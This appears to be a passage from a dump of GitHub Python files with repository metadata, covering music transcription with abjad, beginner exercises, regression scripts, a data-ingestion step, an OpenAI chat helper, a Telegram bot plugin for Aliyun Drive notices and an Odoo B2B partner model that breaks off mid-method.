'bongoVoice', 'note': r\"g'\", 'markups': [r\"\"\"\\markup{\\sans \"mf.\"}\"\"\"], 'dyn': None}\n# instrDict['CongaSlap'] = {'voice': 'congaVoice', 'note': r\"f\", 'markups': [r\"\"\"\\markup{\\sans \"sl.\"}\"\"\"], 'dyn': None}\n# instrDict['CongaMuff'] = {'voice': 'congaVoice', 'note': r\"f\", 'markups': [r\"\"\"\\markup{\\sans \"mf.\"}\"\"\"], 'dyn': None}\n# instrDict['SnareDrumOpen'] = {'voice': 'snareVoice', 'note': r\"g'\", 'markups': [r\"\"\"\\markup{\\flageolet}\"\"\"], 'dyn': None}\n# instrDict['SnareDrumDampen'] = {'voice': 'snareVoice', 'note': r\"g'\", 'markups': [r\"\"\"\\markup{+}\"\"\"], 'dyn': None}\n# instrDict['TomHugeLow'] = {'voice': 'tomVoice', 'note': r\"f\", 'markups': None, 'dyn': None}\n# instrDict['MetalShaker'] = {'voice': 'shakerVoice', 'note': r\"f\", 'markups': None, 'dyn': None}\n# instrDict['CabassaLittleShaker'] = {'voice': 'cabassaVoice', 'note': r\"g'\", 'markups': None, 'dyn': None}\n\ninstrDict['Cowbell'] = {'voice': 'cowVoice', 'note': r\"f\", 'markups': None, 'dyn': None}\ninstrDict['CymbalSmallStrike'] = {'voice': 'smallcymbVoice', 'note': r\"c'\", 'markups': None, 'dyn': None}\ninstrDict['CymbalSmallChoke'] = {'voice': 'smallcymbVoice', 'note': r\"c'\", 'markups': [r\"\"\"\\markup{\\bold \" ,\"}\"\"\"], 'dyn': None}\ninstrDict['CymbalBigStrike'] = {'voice': 'largecymbVoice', 'note': r\"g'\", 'markups': None, 'dyn': None}\ninstrDict['BongoSlap'] = {'voice': 'bongoVoice', 'note': r\"g'\", 'markups': [r\"\"\"\\markup{\\sans \"sl.\"}\"\"\"], 'dyn': None}\ninstrDict['BongoMuff'] = {'voice': 'bongoVoice', 'note': r\"g'\", 'markups': [r\"\"\"\\markup{\\sans \"mf.\"}\"\"\"], 'dyn': None}\ninstrDict['CongaSlap'] = {'voice': 'congaVoice', 'note': r\"f\", 'markups': [r\"\"\"\\markup{\\sans \"sl.\"}\"\"\"], 'dyn': None}\ninstrDict['CongaMuff'] = {'voice': 'congaVoice', 'note': r\"f\", 'markups': [r\"\"\"\\markup{\\sans \"mf.\"}\"\"\"], 'dyn': None}\ninstrDict['SnareDrumOpen'] = {'voice': 'snareVoice', 'note': r\"g'\", 'markups': [r\"\"\"\\markup{\\fontsize #-2 \\musicglyph #\"scripts.flageolet\"}\"\"\"], 'dyn': None}\ninstrDict['SnareDrumDampen'] = {'voice': 'snareVoice', 'note': r\"g'\", 'markups': [r\"\"\"\\markup{+}\"\"\"], 'dyn': None}\ninstrDict['TomHugeLow'] = {'voice': 'tomVoice', 'note': r\"f\", 'markups': None, 'dyn': None}\ninstrDict['MetalShaker'] = {'voice': 'shakerVoice', 'note': r\"f\", 'markups': None, 'dyn': None}\ninstrDict['CabassaLittleShaker'] = {'voice': 'cabassaVoice', 'note': r\"g'\", 'markups': None, 'dyn': None}\n\n\n# lista geral de dados a serem quantizados\nlsToQuantize = [ ]\nlsToQuantize\n\n# percorre dataframe original e guarda na lista lsToQuantize: [onset, duração, instrumento]\nfor i in range(int(len(df.index)/2)):\n tridx = i*2\n dsridx = i*2+1\n\n trname = df.iloc[tridx]['CorpusSoundSeg'][0]\n dftronset = df.iloc[tridx]['targetSegOnset']\n dftrdur = df.iloc[tridx]['targetSegSize']\n\n dsrname = df.iloc[dsridx]['CorpusSoundSeg'][0]\n dfdsronset = df.iloc[dsridx]['targetSegOnset']\n dfdsrdur = df.iloc[dsridx]['targetSegSize']\n\n #garantir duração mínima para transientes\n if (dftrdur < 125):\n dftrdur = 125\n\n trList = [float(dftronset), float(dftrdur), trname]\n dsrList = [float(dftronset), float(dftrdur+dfdsrdur), dsrname]\n\n lsToQuantize.append(trList)\n lsToQuantize.append(dsrList)\n # trToQuantize.append(trList)\n # dsrToQuantize.append(dsrList)\n\n\n#transforma lista lsToQuantize em DataFrame\ndfToQuantize = pd.DataFrame({\n 'onset': pd.Series(dtype='float'),\n 'dur': pd.Series(dtype='float'),\n 'instrument': pd.Series(dtype='str')})\n\ndfToQuantize = pd.DataFrame(lsToQuantize, columns=['onset', 'dur', 'instrument'])\n\n#calcula ponto final, em milissegundos, do trecho a ser transcrito\nmaxTimePoint = sum(list(dfToQuantize.iloc[len(dfToQuantize.index) - 1][0:2]))\n\n#cria um DataFrame por intrumento (incluindo múltiplos modos de ataque desse instrumento)\ndfCowbell = dfToQuantize[dfToQuantize['instrument'] == 'Cowbell']\ndfCymbalSmall = (dfToQuantize[dfToQuantize['instrument'].isin(['CymbalSmallStrike', 'CymbalSmallChoke'])])\ndfCymbalBig = (dfToQuantize[dfToQuantize['instrument'].isin(['CymbalBigStrike', 'CymbalBigChoke'])])\n\ndfBongo = (dfToQuantize[dfToQuantize['instrument'].isin(['BongoSlap', 'BongoMuff'])])\ndfConga = (dfToQuantize[dfToQuantize['instrument'].isin(['CongaSlap', 'CongaMuff'])])\n\ndfSnareDrum = (dfToQuantize[dfToQuantize['instrument'].isin(['SnareDrumOpen', 'SnareDrumDampen'])])\ndfTom = dfToQuantize[dfToQuantize['instrument'] == 'TomHugeLow']\n\ndfMetalShaker = dfToQuantize[dfToQuantize['instrument'] == 'MetalShaker']\ndfCabassaLittleShaker = dfToQuantize[dfToQuantize['instrument'] == 'CabassaLittleShaker']\ndfCowbell\n\ndfAndVoice = [\n (dfCowbell,cowVoice),\n (dfCymbalSmall,smallcymbVoice),\n (dfCymbalBig,largecymbVoice),\n (dfBongo,bongoVoice),\n (dfConga,congaVoice),\n (dfSnareDrum,snareVoice),\n (dfTom,tomVoice),\n (dfMetalShaker,shakerVoice),\n (dfCabassaLittleShaker,cabassaVoice)\n ]\n\n\n\n# abjad.NamedPitch(instrDict['TomHugeLow']['note']).number\n\ndef instrDf2DurPitch(df):\n r\"\"\"\n recebe DataFrame de um instrumento e retorna lista com durações, pitches (numéricos) e string (key para instrDict).\n primeiros dois itens são utilizados no quantizador nauert, último é utilizado para gerar markups adequados\n \"\"\"\n size = len(df.index)\n\n lastEnd = 0\n outDurs = []\n outPitch = []\n outInstr = []\n\n for i in np.arange(0,size):\n row = list(df.iloc[i])\n if i == 0:\n if row[0] > 0: #se onset inicial for maior que 0, iniciar lista de durações a quantizar\n outDurs.append(row[0])\n outPitch.append(None)\n # outInstr.append(None)\n lastEnd = row[0]\n outDurs.append(row[1])\n outPitch.append(abjad.NamedPitch(instrDict[row[2]]['note']).number)\n outInstr.append(row[2])\n lastEnd = lastEnd + row[1]\n else:\n if (row[0] - lastEnd) > 0: # se existe pausa entre último ataque e o atual\n outDurs.append(row[0] - lastEnd)\n outPitch.append(None)\n # outInstr.append(None)\n lastEnd = row[0]\n outDurs.append(row[1])\n outPitch.append(abjad.NamedPitch(instrDict[row[2]]['note']).number)\n outInstr.append(row[2])\n lastEnd = lastEnd + row[1]\n\n if lastEnd < maxTimePoint:\n outDurs.append(maxTimePoint-lastEnd)\n outPitch.append(None)\n # outInstr.append(None)\n # lastEnd = maxTimePoint\n\n return [outDurs,outPitch,outInstr]\n\n\n### parâmetros de quantização\n# tempo\ntempo = abjad.MetronomeMark((1, 4), 60)\n\n# lista de compassos\ntime_signatures = (0, {\"time_signature\": abjad.TimeSignature((1, 4))}) #0: ponto em que o time_signature será inserido\n\n## estrutura de divisões possíveis do pulso\nsearch_tree=nauert.UnweightedSearchTree(\n definition={\n 2: {\n 2: {\n 2: None,\n },\n },\n 3: None\n },\n )\n\nq_schema = nauert.MeasurewiseQSchema(\n time_signatures,\n tempo=tempo,\n search_tree=search_tree\n)\n\nquantizer = nauert.Quantizer()\n\nmarkupstrings = []\n\n\n\n\ndef voiceFromQuantizeInstr(dfVoice):\n dfV = dfVoice[0]\n voice = dfVoice[1]\n\n durPitchString = instrDf2DurPitch(dfV)\n durs = durPitchString[0]\n pitches = durPitchString[1]\n string = durPitchString[2] ### ainda ver como aplicar...\n pairs = tuple(zip(durs, pitches))\n sequence = nauert.QEventSequence.from_millisecond_pitch_pairs(pairs)\n result = quantizer(sequence,q_schema)\n\n voice.extend(result)\n\n lties = abjad.select(voice).logical_ties(pitched=True)\n\n for i, note in enumerate(lties):\n key = string[i]\n markupstring = instrDict[key]['markups']\n\n if markupstring:\n # print(markupstring[0])\n markup = abjad.Markup(markupstring[0], literal=True)\n nota = note[0]\n abjad.attach(markup, nota)\n # print(type(nota))\n\n\n\nfor i in dfAndVoice:\n voiceFromQuantizeInstr(i)\n\n\nstaffs = [cym_cowStaff, conga_bongoStaff, tom_snareStaff, shaker_cabassaStaff]\n#\n# #CymbalSmall\n# staffs[3][1]\n#\n# (markupstrings[-2][1] != None)\n# len(markupstrings[-2])\n#\n#\n# staffs[3][1]\n# an_iterator = filter(lambda el: el != None, markupstrings[-2])\n# x = list(an_iterator)\n# len(x)\n# #### ISSO!\n# len(abjad.select(staffs[3][1]).logical_ties(pitched=True))\n#\n# result = abjad.select(staffs[0][1]).leaves(pitched=True)\n# print(result)\n# result = result.group_by()\n# len(result.top())\n# len(result[0]) ### todas as notas...\n#\n# markupstrings[1]\n#\n#\n# staffs[0][2]\n# len(staffs[0][2])\n# len(markupstrings[0])\n#\n# result = abjad.select(staffs[0][2]).leaves(pitched=True)\n# result = result.group_by()\n#\n# len(result[0])\n\nfor staff in staffs:\n leaves = abjad.select(staff).leaves()\n abjad.attach(abjad.Clef(\"percussion\"), leaves[0])\n\n\n\n## StaffGroup\npercStaffGroup = abjad.StaffGroup(\n staffs,\n lilypond_type=\"StaffGroup\",\n name=\"Percussion\",\n)\n\nscore = abjad.Score([percStaffGroup], name=\"Score\")\nlilypond_file = abjad.LilyPondFile(items=[score],includes=includes)\nabjad.show(lilypond_file)\n\nabjad.persist.as_ly(lilypond_file, outdir+\"out.ly\")\nabjad.persist.as_pdf(lilypond_file, outdir+\"out.pdf\")\n\n# gerar_arquivo ly\n# abjad.persist.as_ly(lilypond_file, outdir+\"out.ly\")\n","repo_name":"zepadovani/SBCM2021_percussion_transcription","sub_path":"transcribe.py","file_name":"transcribe.py","file_ext":"py","file_size_in_byte":15768,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"26871077388","text":"def rewrite_message(first, last, day, month, year):\n return f\"{first} {last} was born in {month} {day}, {year}.\"\n\nfirst_name = \"John\"\nlast_name = \"Doe\"\nday = 27 #int\nmonth = \"September\"\nyear = 2016\n\nmessage = rewrite_message(first_name, last_name, day, month, year)\nprint(message)\n\nfirst_name = input(\"What is your first name? \")\nlast_name = input(\"What is your last name? \")\nday = int(input(\"What day were you born in? \"))\nmonth = input(\"What month were you born in? \")\nyear = int(input(\"What year were you born in? \"))\n\nprint(message)\n\nmessage = rewrite_message(first_name, last_name, day, month, year)\nprint(message)\n","repo_name":"Kids-Hack-Labs/Winter2021","sub_path":"Week02/code/activity01_base.py","file_name":"activity01_base.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"13071138062","text":"\n__author__ = 'Lene Preuss '\n\n\ndef simple_linear_regression(input_feature, output):\n n = len(input_feature)\n sumxi = sum(input_feature)\n sumyi = sum(output)\n sumxi2 = sum(x * x for x in input_feature)\n sumxiyi = sum(x * y for x, y in zip(input_feature, output))\n\n slope = (sumxiyi-sumxi*sumyi/n)/(sumxi2-sumxi*sumxi/n)\n intercept = sumyi/n - slope*sumxi/n\n return intercept, slope\n\n\ndef get_regression_predictions(input_feature, intercept, slope):\n return input_feature * slope + intercept\n\n\ndef get_residual_sum_of_squares(input_feature, output, intercept, slope):\n residual = get_regression_predictions(input_feature, intercept, slope) - output\n return sum(residual * residual)\n\n\ndef inverse_regression_predictions(output, intercept, slope):\n return (output - intercept) / slope\n\n\ndef graphlab_exercise():\n sales = graphlab.SFrame('kc_house_data.gl/')\n\n train_data,test_data = sales.random_split(.8,seed=0)\n\n sqft_data = train_data['sqft_living']\n price_data = train_data['price']\n\n sqft_intercept, sqft_slope = simple_linear_regression(sqft_data, price_data)\n print('intercept, slope', sqft_intercept, sqft_slope)\n answer1 = get_regression_predictions(2650, sqft_intercept, sqft_slope)\n print('predicted price for 2650 sqft', answer1)\n\n rss_training = get_residual_sum_of_squares(sqft_data, price_data, sqft_intercept, sqft_slope)\n answer2 = rss_training\n print('rss for training data', '%g'%answer2)\n\n answer3 = inverse_regression_predictions(800000, sqft_intercept, sqft_slope)\n print('est. sqft for $800k', answer3)\n\n bedroom_data = train_data['bedrooms']\n bedroom_intercept, bedroom_slope = simple_linear_regression(bedroom_data, price_data)\n\n sqft_test = test_data['sqft_living']\n bedroom_test = test_data['bedrooms']\n price_test = test_data['price']\n\n sqft_test_rss = get_residual_sum_of_squares(sqft_test, price_test, sqft_intercept, sqft_slope)\n bedroom_test_rss = get_residual_sum_of_squares(bedroom_test, price_test, bedroom_intercept, bedroom_slope)\n\n print ('sqft test rss', sqft_test_rss)\n print ('bedroom test rss', bedroom_test_rss)\n print ('ratio', sqft_test_rss/bedroom_test_rss)\n\n\n","repo_name":"lene/nn-wtf","sub_path":"work_in_progress/exercise_1.py","file_name":"exercise_1.py","file_ext":"py","file_size_in_byte":2230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"19353288663","text":"import csv\nfrom crawler import Crawler\nfrom args import get_args\n\n\nif __name__ == '__main__':\n args = get_args()\n crawler = Crawler()\n content = crawler.crawl(args.start_date, args.end_date)\n content = [[\"Post Date\", \"Title\", \"Content\"]] + content\n with open(args.output, mode='w', newline='') as file:\n writer = csv.writer(file)\n writer.writerows(content)\n","repo_name":"TingWei-Chuang/introtocs_hw","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":386,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"8695804560","text":"import os\nimport sys\nfrom src.logger import logging\nfrom src.exception import CustomException\nimport pandas as pd\nimport numpy as np\nfrom sklearn.model_selection import train_test_split\n\nos.chdir('e:/Vscode_files/End_to_End_Ml_project_Facemask')\nprint(os.getcwd())\n\n\nclass data_ingestion_config():\n train_data_path:str = os.path.join('artifacts',\"train.csv\")\n test_data_path:str = os.path.join('artifacts',\"test.csv\")\n raw_data_path:str = os.path.join('artifacts',\"raw.csv\")\n\nclass data_ingestion():\n def __init__(self):\n self.ingestion_config = data_ingestion_config()\n\n def initiate_data_ingestion(self):\n logging.info('enter the data ingestion component')\n try:\n image_names = os.listdir('downloads/Images')\n labels = []\n for image in image_names:\n name = image.split('.')[0]\n if name == 'with_mask':\n labels.append('1')\n else:\n labels.append('0')\n df = pd.DataFrame({'file_name':image_names,'labels':labels})\n logging.info('Data frame created using images directory')\n print(df.shape)\n os.makedirs(os.path.dirname(self.ingestion_config.raw_data_path),exist_ok=True)\n df.to_csv(self.ingestion_config.raw_data_path,index=False,header=True)\n logging.info('raw data dataframe saved')\n\n train_data,test_data = train_test_split(df,test_size=0.2,random_state=42,stratify=df['labels'])\n os.makedirs(os.path.dirname(self.ingestion_config.train_data_path),exist_ok=True)\n train_data.to_csv(self.ingestion_config.train_data_path,index=False,header=True)\n os.makedirs(os.path.dirname(self.ingestion_config.test_data_path),exist_ok=True)\n train_data.to_csv(self.ingestion_config.test_data_path,index=False,header=True)\n logging.info(\"train and test datas are saved...\")\n print(train_data.shape)\n print(test_data.shape)\n \n\n except Exception as e:\n raise CustomException(e,sys)\n \nif __name__ == \"__main__\":\n obj = data_ingestion()\n obj.initiate_data_ingestion()\n","repo_name":"amballa-mahesh/dl_face_mask_project","sub_path":"src/components/data_ingestion.py","file_name":"data_ingestion.py","file_ext":"py","file_size_in_byte":2202,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"38739198755","text":"\nimport pandas as pd\nfrom sklearn.model_selection import train_test_split\nfrom sklearn.linear_model import LinearRegression\nfrom sklearn.metrics import mean_squared_error\n\n# Load the datasets\narm_angle_df = pd.read_csv(\"working_scirpts_for_dataset/wrist_angle_dataset/_output/TA_body_and_hand_landmarks_data_TimeVideo_20230808_160537.csv\")\nemg_df = pd.read_csv(\"working_scirpts_for_dataset/wrist_angle_dataset/__input/test in frame.csv\")\n# Replace \"x\" with NaN\narm_angle_df['angle'] = pd.to_numeric(arm_angle_df['angle'], errors='coerce')\n\n# Merge datasets based on the closest timestamps\ndef find_nearest_angle(timestamp):\n diffs = abs(arm_angle_df['global_timestamp_ms'] - timestamp)\n idx_min_diff = diffs.idxmin()\n return arm_angle_df.iloc[idx_min_diff]['angle']\n\nemg_df['angle'] = emg_df['global_time'].apply(find_nearest_angle)\n\n# Drop rows with NaN values\nmerged_df = emg_df.dropna(subset=['angle'])\n\n# Linear Regression\nX = merged_df[['Outer forearm sensor value (1)', 'Inner forearm sensor value (2)']]\ny = merged_df['angle']\n\n# Split data into training and testing sets\nX_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.2, random_state=42)\n\n# Train a linear regression model\nmodel = LinearRegression().fit(X_train, y_train)\n\n# Predict on test set\ny_pred = model.predict(X_test)\n\n# Compute RMSE\nrmse = mean_squared_error(y_test, y_pred, squared=False)\nprint(f\"Root Mean Squared Error (RMSE): {rmse}\")\n\n# Save the merged dataset\nmerged_df.to_csv(\"merged_dataset_version_1.csv\", index=False)\n","repo_name":"FKGSOFTWARE/EMGControl","sub_path":"working_scirpts_for_dataset/Prototype code/linear_regression_version_1.py","file_name":"linear_regression_version_1.py","file_ext":"py","file_size_in_byte":1527,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"23505249937","text":"import openai # for OpenAI API calls\nimport json # for measuring time duration of API calls\n# a ChatCompletion request\n#initialisation OpenAI\nclass chatCompletion :\n def __init__(self, context, maxtkns,temp,destination):\n \n self.context = context\n self.tokens = maxtkns\n self.temp = temp\n destination.append(\"\\nBetsy: \")\n with open(\"API_key.txt\",\"r\") as key:\n API_key = key.read() \n openai.api_key = API_key\n with open(self.context) as f:\n messages = json.load(f)\n response = openai.ChatCompletion.create(\n model='gpt-3.5-turbo',\n messages=messages,\n temperature=0,\n stream=True # this time, we set stream=True\n )\n\n for chunk in response:\n try:\n chunk_message = chunk['choices'][0]['delta']['content']\n # move the cursor to the end of the text\n cursor = destination.textCursor()\n cursor.movePosition(cursor.End)\n\n # insert the new word\n cursor.insertText(chunk_message)\n \n print(chunk_message)\n \n except:\n pass","repo_name":"traosorus/Robotech.IO","sub_path":"test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1242,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"73920328359","text":"from common_util import get_path_elements\n\n\ndef test(path):\n dirs = get_path_elements(path)\n print('{}->{}'.format(path, dirs))\n\n\ndef main():\n test('/')\n test('/qwer')\n test('/asdf/foo.txt')\n test('/zxcv/bar')\n # this on is a weird case.\n test('/qwer/baz/')\n test('asdf')\n test('asdf/foo')\n # thses are really fine, because re should be smart and not use relative paths\n test('zxcv/qwer/asdf/../../../..')\n test('/zxcv/qwer/asdf/../../../..')\n test('zxcv/qwer/asdf/../../../../bing')\n test('c:/zxcv/qwer/asdf/../../../..')\n test('c:/')\n\nif __name__ == '__main__':\n main()\n","repo_name":"zadjii/nebula","sub_path":"test/test_get_path_elems.py","file_name":"test_get_path_elems.py","file_ext":"py","file_size_in_byte":623,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"73193134761","text":"import contextlib\nfrom asyncio import sleep\nfrom datetime import datetime\n\nfrom pyrogram.errors import FloodWait\n\nfrom pagermaid import scheduler\nfrom pagermaid.hook import Hook\nfrom pagermaid.listener import listener\nfrom pagermaid.services import client as request, sqlite, bot\nfrom pagermaid.enums import Message\nfrom pagermaid.sub_utils import Sub\nfrom pagermaid.utils import check_manage_subs, edit_delete\n\n\nclass AliCloud:\n def __init__(self):\n self.url = (\n \"https://api.aliyundrive.com/adrive/v1/timeline/homepage/list_message\"\n )\n self.data = {\n \"user_id\": \"ec11691148db442aa7aa374ca707543c\", # 阿里盘盘酱\n \"limit\": 50,\n \"order_by\": \"created_at\",\n \"order_direction\": \"DESC\",\n }\n self.share_id = sqlite.get(\"alicloud.share_id\")\n self.share_time = sqlite.get(\"alicloud.share_time\")\n\n @staticmethod\n def parse_time(timestamp: int) -> str:\n \"\"\"parse timestamp to date time\"\"\"\n return datetime.fromtimestamp(timestamp).strftime(\"%Y-%m-%d %H:%M:%S\")\n\n async def get(self):\n with contextlib.suppress(Exception):\n resp = await request.post(url=self.url, json=self.data)\n results = resp.json()[\"items\"]\n for i in results:\n recent_action = i[\"display_action\"]\n if \"掉落福利\" not in recent_action:\n continue\n return i\n\n async def refresh(self):\n with contextlib.suppress(Exception):\n item = await self.get()\n share_id = item[\"content\"][\"share_id\"]\n share_time = item[\"created\"] / 1000\n if share_id == self.share_id:\n return False\n self.share_id = share_id\n self.share_time = share_time\n sqlite[\"alicloud.share_time\"] = share_id\n sqlite[\"alicloud.share_time\"] = share_time\n return True\n return False\n\n def get_text(self, share_time=None, share_id=None) -> str:\n if not share_time:\n share_time = self.share_time\n if not share_id:\n share_id = self.share_id\n return (\n (\n f\"最近一次阿里云盘掉落福利的时间是 {self.parse_time(share_time)}\\n\\n\"\n f\"https://www.aliyundrive.com/s/{share_id}\"\n )\n if share_id\n else \"未获取到阿里云盘掉落福利信息\"\n )\n\n async def send_to_chat(self, cid: int):\n try:\n await bot.send_message(cid, self.get_text())\n except FloodWait as e:\n await sleep(e.value)\n await self.send_to_chat(cid)\n\n async def push(self):\n need_send = await self.refresh()\n if not need_send:\n return\n for gid in alicloud_sub.get_subs():\n try:\n await self.send_to_chat(gid)\n except Exception as e: # noqa\n alicloud_sub.del_id(gid)\n\n\nalicloud = AliCloud()\nalicloud_sub = Sub(\"alicloud\")\n\n\n@scheduler.scheduled_job(\"interval\", hours=1, id=\"alicloud.push\")\nasync def alicloud_push() -> None:\n await alicloud.push()\n\n\n@Hook.on_startup()\nasync def alicloud_startup() -> None:\n await alicloud.push()\n\n\n@listener(command=\"alicloud\", description=\"获取阿里云盘掉落福利信息\", parameters=\"[订阅/退订]\")\nasync def set_alicloud_notice(message: Message):\n if not message.arguments:\n try:\n item = await alicloud.get()\n text = alicloud.get_text(\n item[\"created\"] / 1000, item[\"content\"][\"share_id\"]\n )\n except Exception as e: # noqa\n text = f\"获取阿里云盘掉落福利信息失败:{e}\"\n return await message.edit(text)\n elif message.arguments == \"订阅\":\n if check_manage_subs(message):\n if alicloud_sub.check_id(message.chat.id):\n return await edit_delete(message, \"❌ 你已经订阅了阿里云盘掉落福利\")\n alicloud_sub.add_id(message.chat.id)\n await message.edit(\"你已经成功订阅了阿里云盘掉落福利\")\n else:\n await edit_delete(message, \"❌ 权限不足,无法订阅阿里云盘掉落福利\")\n elif message.arguments == \"退订\":\n if check_manage_subs(message):\n if not alicloud_sub.check_id(message.chat.id):\n return await edit_delete(message, \"❌ 你还没有订阅阿里云盘掉落福利\")\n alicloud_sub.del_id(message.chat.id)\n await message.edit(\"你已经成功退订了阿里云盘掉落福利\")\n else:\n await edit_delete(message, \"❌ 权限不足,无法退订阿里云盘掉落福利\")\n else:\n await edit_delete(message, \"❌ 未知参数\")\n","repo_name":"TeamPGM/PagerMaid_Plugins_Pyro","sub_path":"alicloud/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4795,"program_lang":"python","lang":"en","doc_type":"code","stars":192,"dataset":"github-code","pt":"18"} +{"seq_id":"39275603585","text":"# -*- coding: utf-8 -*-\n\nfrom odoo import models, fields, api, tools\nfrom odoo.osv import osv\nfrom openerp import SUPERUSER_ID\nfrom odoo.exceptions import UserError\nfrom odoo import _, exceptions\nfrom lxml import etree\nimport urllib\nimport urllib2\nimport base64\nimport random\nimport string\nimport json\nimport logging\n\n\nclass b2b_partner(models.Model):\n _inherit = 'res.partner'\n\n type = fields.Selection(\n [('operator', u'业务员'),\n ('shop', u'店铺'),\n ('warehouse', u'库管'),\n ('contact', 'Contact'),\n ('invoice', 'Invoice address'),\n ('delivery', 'Shipping address'),\n ('other', 'Other address')], string='Address Type',\n default='contact',\n help=\"Used to select automatically the right address according to the context in sales and purchases documents.\")\n qdoo_func = fields.Selection([\n ('supplier', u'供应商'),\n ('distributor', u'经销商'),\n ('platform', u'平台')\n ], u'平台角色')\n introduction = fields.Text(u'公司简介')\n qdoo_state = fields.Selection([('new', u'审核中'), ('approved', u'已审核')], u'状态', default='new')\n parent_id = fields.Many2one('res.partner', string='Related Company', index=True,\n default=lambda self: self.env.user.partner_id.parent_id or self.env.user.partner_id\n if self.user_has_groups('b2b_platform.group_qdoo_supplier_manager,'\n 'b2b_platform.group_qdoo_distributor_manager')\n and not self.env.uid == SUPERUSER_ID\n else False)\n shop_operator = fields.Many2one('res.partner', u'店铺管理员',\n domain=\"['|','&',('parent_id','=',parent_id),('type','=','operator'),('sys_user_id','=',uid)]\")\n shop_markup = fields.Float(u'售价上浮率(%)', digits=(16,2))\n #remove shop_language required\n shop_language = fields.Selection([('chinese', u'中文'),('english', u'英文'),('german', u'德文'),\n ('french', u'法文'),('spanish', u'西班牙文'),('italian', u'意大利文'),('japanese', u'日文')], u'店铺语言')\n shop_currency = fields.Many2one('res.currency', u'店铺所用币种', required=True)\n amazon_instance_id = fields.Many2one('amazon.instance.ept', u'亚马逊店铺', readonly=True)\n amazon_seller_id = fields.Many2one('amazon.seller.ept', u'亚马逊主站', readonly=True)\n qq_id = fields.Char(u'QQ号码')\n deposit_amt = fields.Float(u'预付款余额', digits=(16,2), compute='_prepayment_get')\n deposit_avail_amt = fields.Float(u'预付款可用余额', digits=(16,2), compute='_prepayment_get')\n withdraw_balance = fields.Float(u'提现余额', digits=(16, 2), compute='_withdraw_balance_get')\n kanban_display = fields.Boolean(u'看板显示', compute='_displayable_on_kanban', search='_search_displayable_on_kanban')\n debit_value = fields.Float(u'可结算金额', compute='_debit_to_value')\n cust_to_shop = fields.Many2one('res.partner', u'客户所属店铺')\n own_shops = fields.Many2one('res.partner', u'自有店铺', compute='_if_own_shop', search='_search_own_shop')\n product_disclosure = fields.Selection([('close',u'不开放'), ('semi',u'部分开放'), ('open',u'完全开放')],\n u'产品开放级别', default='open', required=True)\n disclosure_is_visible = fields.Boolean(u'开放级别可见', compute='_if_disclosable')\n city = fields.Char(u'城市')\n supplier_manager = fields.Many2one('res.users', u'供应商管理员', compute='_get_supplier_manager', search='_is_supplier_manager')\n sys_user_id = fields.Many2one('res.users', u'系统账号', compute='_get_user_id', search='_search_user_id')\n\n @api.one\n def _get_user_id(self):\n user_ids = self.with_context(active_test=False).env['res.users'].sudo().search([('partner_id', '=', self.id)])\n if len(user_ids) == 1:\n self.sys_user_id = user_ids[0]\n\n def _search_user_id(self, operator, value):\n list = self.user_ids.search([('id', '=', value)]).partner_id\n return [('id', 'in', list.ids)]\n\n @api.one\n def _if_disclosable(self):\n self.disclosure_is_visible = False\n for line in self.category_id:\n if line.qdoo_func == 'supplier' and self.is_company:\n self.disclosure_is_visible = True\n\n @api.one\n def _get_supplier_manager(self):\n self.supplier_manager = self.env['res.users'].search([('partner_id','=',self.id)],limit=1)\n\n def _is_supplier_manager(self,operator,value):\n partners = self.search([('id', '=', self.env.user.partner_id.id)])\n return [('id', 'in', partners.ids)]\n\n @api.one\n def _if_own_shop(self):\n user_id = self.env.user\n if self.type == 'shop' and self.parent_id:\n # 如果是经销商管理员\n if self.parent_id == user_id.partner_id:\n self.own_shops = True\n # 如果是经销商业务员\n elif self.parent_id == user_id.partner_id.parent_id:\n self.own_shops = True\n\n def _search_own_shop(self, operator, value):\n ids = []\n partner = self.env.user.partner_id.parent_id or self.env.user.partner_id\n lines = self.search([('type', '=', 'shop'), ('parent_id', '=', partner.id)])\n for line in lines:\n ids.append(line.id)\n return [('id', 'in', ids)]\n\n @api.multi\n def write(self, vals):\n if vals.get('shop_markup'):\n old_markup = self.shop_markup\n markup = vals.get('shop_markup')\n for rec in self:\n prod_tmpl_obj = self.env['product.template'].with_context({'collection_mark': 'collected'})\n prod_prod_obj = self.env['product.product'].with_context({'collection_mark': 'collected'})\n prod_attr_price_obj = self.env['product.attribute.price'].sudo()\n # 更新店铺中收录的产品\n shop_prods = prod_tmpl_obj.search([('product_owner', '=', rec.id)])\n if shop_prods:\n mod_time = fields.Datetime.now()\n for s_prod in shop_prods:\n s_prod.list_price = s_prod.list_price / (1 + old_markup / 100.0) * (1 + markup / 100.0)\n\n s_attr_val = s_prod.mapped('attribute_line_ids')\n for value in s_attr_val:\n vlu = value[0].id\n s_attr_price = prod_attr_price_obj.search([('product_tmpl_id', '=', s_prod.id),\n ('value_id', '=', vlu)])\n if s_attr_price:\n s_attr_price.write({'price_extra': s_attr_price.price_extra / (\n 1 + old_markup / 100.0) * (1 + markup / 100.0)})\n for prod in prod_prod_obj.search([('product_tmpl_id', '=', s_prod.id)]):\n prod._set_product_lst_price()\n prod.write({'price_update': 'pending', 'price_mod_time': mod_time})\n ##########################################################################\n # res.partner must only allow to set the company_id of a partner if it\n # is the same as the company of all users that inherit from this partner\n # (this is to allow the code from res_users to write to the partner!) or\n # if setting the company_id to False (this is compatible with any user\n # company)\n if vals.get('website'):\n vals['website'] = self._clean_website(vals['website'])\n if vals.get('parent_id'):\n vals['company_name'] = False\n if vals.get('company_id'):\n company = self.env['res.company'].browse(vals['company_id'])\n for partner in self:\n if partner.user_ids:\n companies = 